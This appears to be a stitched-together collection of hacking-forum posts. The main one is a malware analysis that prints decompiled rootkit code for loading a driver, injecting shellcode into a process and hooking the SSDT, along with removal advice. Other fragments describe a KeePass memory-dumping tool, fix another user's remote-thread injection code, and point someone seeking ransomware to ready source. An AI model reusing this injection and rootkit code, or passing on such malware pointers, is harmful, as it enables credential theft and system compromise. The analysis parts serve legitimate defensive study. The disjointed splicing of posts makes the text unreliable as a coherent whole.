EvilZone

Funny you say that, I remember when one of Elcomsoft's developers were so good, they made available a decrypter tool that did precisely what you asking for, the only difference is I do not think we had 128 bit encryption in those days. I remember reading that the poor guy got arrested when he visited the U.S.A. for some conference. I just wish I could remember his name but the tool bypassed all passwords and decrypted the document no matter what. He was a genius and I am sure he still us today.

It was the Russian Dmitry Sklyarov. Details on wiki

Answering the original question:
Sometimes decrypting passwords can be super easy due to a faulty implementation in encryption.
One such software is DRMsoft Pdf to EXE Encrypter where inspite of the password protection, it can be decrypted due to use of XOR encraption.

Preliminary Analysis

The malware is heavily obfuscated and contains a lot of packed data judging from its entropy scan.


Opening the executable in OllyDbg confirms our belief.
As per the following image, we can see a lot of garbage instructions, to throw analysis off track.


Additionally, it purposely throws a lot of exceptions, to render the execution flow nonlinear as per the following image of OllyDbg Log. Throwing exceptions also work as an anti debugging trick and as such must be passed to the application when being debugged.


Dropped files

The malware drops a dll at %temp%\o.dll and then immediately tries to load it. We can intercept the dll being loaded by setting a breakpoint on LoadLibraryA as per the following images.




We will analyze the dropped dll later and continue analyzing the main file. We will prevent the load library by deleting the dropped dll.

If we open the sample in CFF Explorer, we can see that it has 3 sections with one being completely empty (size on disk = 0).


The malware will decrypt the second stage code, write in this empty section, process its import table and finally jump to the entry point of the decrypted code.
To intercept the writing of the decrypted code we can set a memory breakpoint on write on the section. To speed things up we can breakpoint on LoadLibraryA which is used when processing the import table.

Finally, after a bit of tracing around we can see the jump to the OEP as per the following image.


Searching for strings in the newly decrypted region, shows that the second stage must be coded in Delphi as per the following image.


Dumping the second stage

To ease analysis, we can dump the decrypted code directly from memory. For this purpose, I have used Scylla (similar to ImpRec) for dumping and import rebuilding as per the following image.


Analysis of the second stage

The malware is coded in delphi as already found out. On executing it tries to find and terminate running  programs having names of ravmon.exe, eghost.exe, mailmon.exe, kavpwf.exe, iparmour.exe, ravmond.exe, regsvc.exe, mcshield.exe, kvmonxp.exe, kregex.exe, kvxp.exe.

This is done by opening the process and calling TerminateProcess as per the following image.


It creates a file at C:\Windows\uninstall\rundl132.exe and then copies the first 98926 (0x1826E) bytes of itself. This size is written within the pe headers itself as per the following image.


It then proceeds to create a autorun entry in the registry (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) for the above file.

Analysis of o.dll

o.dll is the file dropped in the temp directory. It is similarly obfuscated and encrypted just as the main malware. Opening the sample in CFF Explorer reveals that it too has an empty section which would be later filled up with the decrypted code while running.


Now as we did for the main sample, we can use dump the decrypted code from memory using Scylla (or ImpRec). The process is similar and is not being shown.

Analysis of second stage of o.dll

The main purpose of the second stage is to load a kernel driver as per the decompiled code from Hex-Rays.

BOOL __stdcall sub_1000B460(int a1, LPCSTR lpBinaryPathName, LPCSTR lpServiceName)
{
  int v3; // ebp@1
  SC_HANDLE v4; // esi@1
  SC_HANDLE v5; // edi@2
  HANDLE v6; // esi@12
  signed int v8; // [sp+Ch] [bp-44h]@1
  CHAR FileName; // [sp+10h] [bp-40h]@11

  v3 = 0;
  v8 = -1;
  v4 = OpenSCManagerA(0, 0, 0xF003Fu);
  if ( v4 )
  {
    v5 = CreateServiceA(v4, lpServiceName, lpServiceName, 0xF01FFu, 1u, 3u, 1u, lpBinaryPathName, 0, 0, 0, 0, 0);
    if ( v5 || GetLastError() == 1073 && (v5 = OpenServiceA(v4, lpServiceName, 0xF01FFu)) != 0 )
    {
      v3 = StartServiceA(v5, 0, 0) || GetLastError() == 1056;
      CloseServiceHandle(v5);
    }
    CloseServiceHandle(v4);
  }
  sub_10009C50(&FileName, "\\\\.\\");
  sub_10009C00(&FileName, lpServiceName);
  if ( v3 )
  {
    v6 = CreateFileA(&FileName, 0x80000000, 1u, 0, 3u, 0, 0);
    GetLastError();
    v8 = (signed int)v6;
  }
  *(_DWORD *)a1 = v8;
  return v3 && v8 != -1;
}
Immediately after loading the driver, it is deleted from disk. Hence for our analysis, we need to set up a breakpoint on CreateServiceA or DeleteFileA

In addition to the above method of loading the kernel driver, the malware can also inject shellcode in a suspended iexplore.exe process which loads the driver indirectly. The relevant code listing is as follows.

    memset(&StartupInfo, 0, sizeof(StartupInfo));
    ProcessInformation.hProcess = 0;
    ProcessInformation.hThread = 0;
    ProcessInformation.dwProcessId = 0;
    StartupInfo.cb = 68;
    ProcessInformation.dwThreadId = 0;
    StartupInfo.wShowWindow = 0;
    StartupInfo.dwFlags = 128;
    sub_1000AC90(&ApplicationName, (int)&lpAddress);
    result = (LPVOID)CreateProcessA(&ApplicationName, 0, 0, 0, 0, 0x84u, 0, 0, &StartupInfo, &ProcessInformation);
    if ( result )
    {
      v23 = ProcessInformation.hProcess;
      VirtualProtectEx(ProcessInformation.hProcess, lpAddress, 0x1000u, 0x40u, &flOldProtect);
      v24 = WriteProcessMemory(v23, lpAddress, v11, nSize, &NumberOfBytesWritten);
      VirtualProtectEx(v23, lpAddress, 0x1000u, flOldProtect, &flOldProtect);
      if ( v24 )
      {
        SetThreadPriority(ProcessInformation.hThread, 2);
        SetPriorityClass(ProcessInformation.hProcess, 0x100u);
        ResumeThread(ProcessInformation.hThread);
        CloseHandle(ProcessInformation.hProcess);
        CloseHandle(ProcessInformation.hThread);
        VirtualFree(v11, 0, 0x8000u);
        result = (LPVOID)v24;
      }
      else
      {
        CloseHandle(ProcessInformation.hProcess);
        CloseHandle(ProcessInformation.hThread);
        VirtualFree(v11, 0, 0x8000u);
        result = 0;
      }
    }
  }
Analysis of the kernel driver

The purpose of the driver is to hide process, registry keys, or files on disks. It does this by hooking the SSDT (System Service Descriptor Table). The malware accepts IOCTL codes from its user mode component and works accordingly. The decompiled code which hooks the SSDT is as follows:

unsigned __int32 sub_10C8A()
{
  unsigned __int32 result; // eax@3
  unsigned __int32 v1; // [sp+0h] [bp-4h]@1

  v1 = __readcr0();
  __writecr0(v1 & 0xFFFEFFFF);
  _disable();
  *((_DWORD *)KeServiceDescriptorTable + dword_1165C) = dword_14CF4;
  *((_DWORD *)KeServiceDescriptorTable + dword_11660) = dword_14CFC;
  *((_DWORD *)KeServiceDescriptorTable + dword_11664) = dword_14D00;
  if ( dword_11658 )
  {
    *((_DWORD *)KeServiceDescriptorTable + dword_11668) = dword_14D0C;
    *((_DWORD *)KeServiceDescriptorTable + dword_1166C) = dword_14D08;
  }
  _enable();
  result = v1;
  __writecr0(v1);
  return result;
}
Using Kernel Detective (or Rootkit UnHooker LE) we can view the hooks on an infected system as per the following image.


Conclusion & Mitigation

The malware is quite advanced in its functionality and contains multi stage payloads. Removing the malware on an already infected system is difficult due to the kernel component. It has the capability to hide files, registry keys or running process on a system.

Restoring infected files is however easier. The malware acts as a prepender. The original executable is stored as an overlay. Hence to disinfect a file removing the first 98926 (0x1826E) bytes is sufficient.

Removing the kernel driver is difficult. One way to remove it is to boot the computer in safe mode, and remove the autorun entries in registry. Next time when the machine is booted in normal mode, the malware won't be loaded and we can safely delete all other artifacts left behind by the malware.

Greetz to Deque once again for her work in the field of malware analysis

Malware Analysis - CSCI 4976

With the increased use of the Internet and prevalence of computing systems in critical infrastructure, technology is undoubtedly a vital part of modern daily life. Unfortunately, the increasingly networked nature of the modern world has also enabled the spread of malicious software, or “malware”, ranging from annoying adware to advanced nation-state sponsored cyber-weaponry. As a result, the ability to detect, analyze, understand, control, and eradicate malware is an increasingly important issue of economic and national security.

This course will introduce students to modern malware analysis techniques through readings and hands-on interactive analysis of real-world samples. After taking this course students will be equipped with the skills to analyze advanced contemporary malware using both static and dynamic analysis.

https://github.com/RPISEC/Malware

RPISEC also offered a Binary Exploitation Course.
Find it here: https://evilzone.org/found-it-on-the-webs/course-materials-for-modern-binary-exploitation-by-rpisec/

KeeFarce allows for the extraction of KeePass 2.x password database information from memory. The cleartext information, including usernames, passwords, notes and url's are dumped into a CSV file in %AppData%

General Design

KeeFarce uses DLL injection to execute code within the context of a running KeePass process. C# code execution is achieved by first injecting an architecture-appropriate bootstrap DLL. This spawns an instance of the dot net runtime within the appropriate app domain, subsequently executing KeeFarceDLL.dll (the main C# payload).


The KeeFarceDLL uses CLRMD to find the necessary object in the KeePass processes heap, locates the pointers to some required sub-objects (using offsets), and uses reflection to call an export method.

Github Repo -> https://github.com/denandz/KeeFarce

Just replace this line
HANDLE HRemoteThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)hRemoteMem, 0, 0, NULL);
with this

HANDLE HRemoteThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)hRemoteMem, 0, 0, NULL);
You must have found out the error by now.

I am pretty sure that the problem is related to insufficient privileges.

When you run the code in a debugger, your app has SeDebugPrivilege, which means OpenProcess will always succeed irrespective of the privileges of the target process.

Can you add a check (sort of printf) after the OpenProcess call to see that if it really succeeds ?

EDIT:
Another thing that needs mentioning, is the shellcode will only work on non ASLR systems (like Win XP).

@chris_kzn: if you are looking for a ransomware, see HiddenTear. It's code is pretty simple and not at all sophisticated. The fact that is coded in C# looks quite lame to me. So you may be disappointed finding that this is nowhere near to CryptoLocker, CryptoWall, CTBLocker and friends.

https://github.com/utkusen/hidden-tear

Another alternative method, to bypass the minimization of task manager is to use a separate Desktop.

The malware automatically minimizes any open windows. This is done via the EnumWindows and ShowWindow function combination.
So if we open task manager or for the matter any program, it will automatically minimize it, rendering it unusable.

Now, the interesting point is EnumWindows, will only enumerate windows on the same desktop. Hence if we create a new desktop, we can again run all our favorite tools, without being minimized. 

To create a new desktop, we can use the Desktops utility which is included in the Sysinternals suite. We have to run the utility before running the malware. After running the malware, we can switch to a different desktop.

A lot of other other annoying malware can similarly be bypassed using this technique.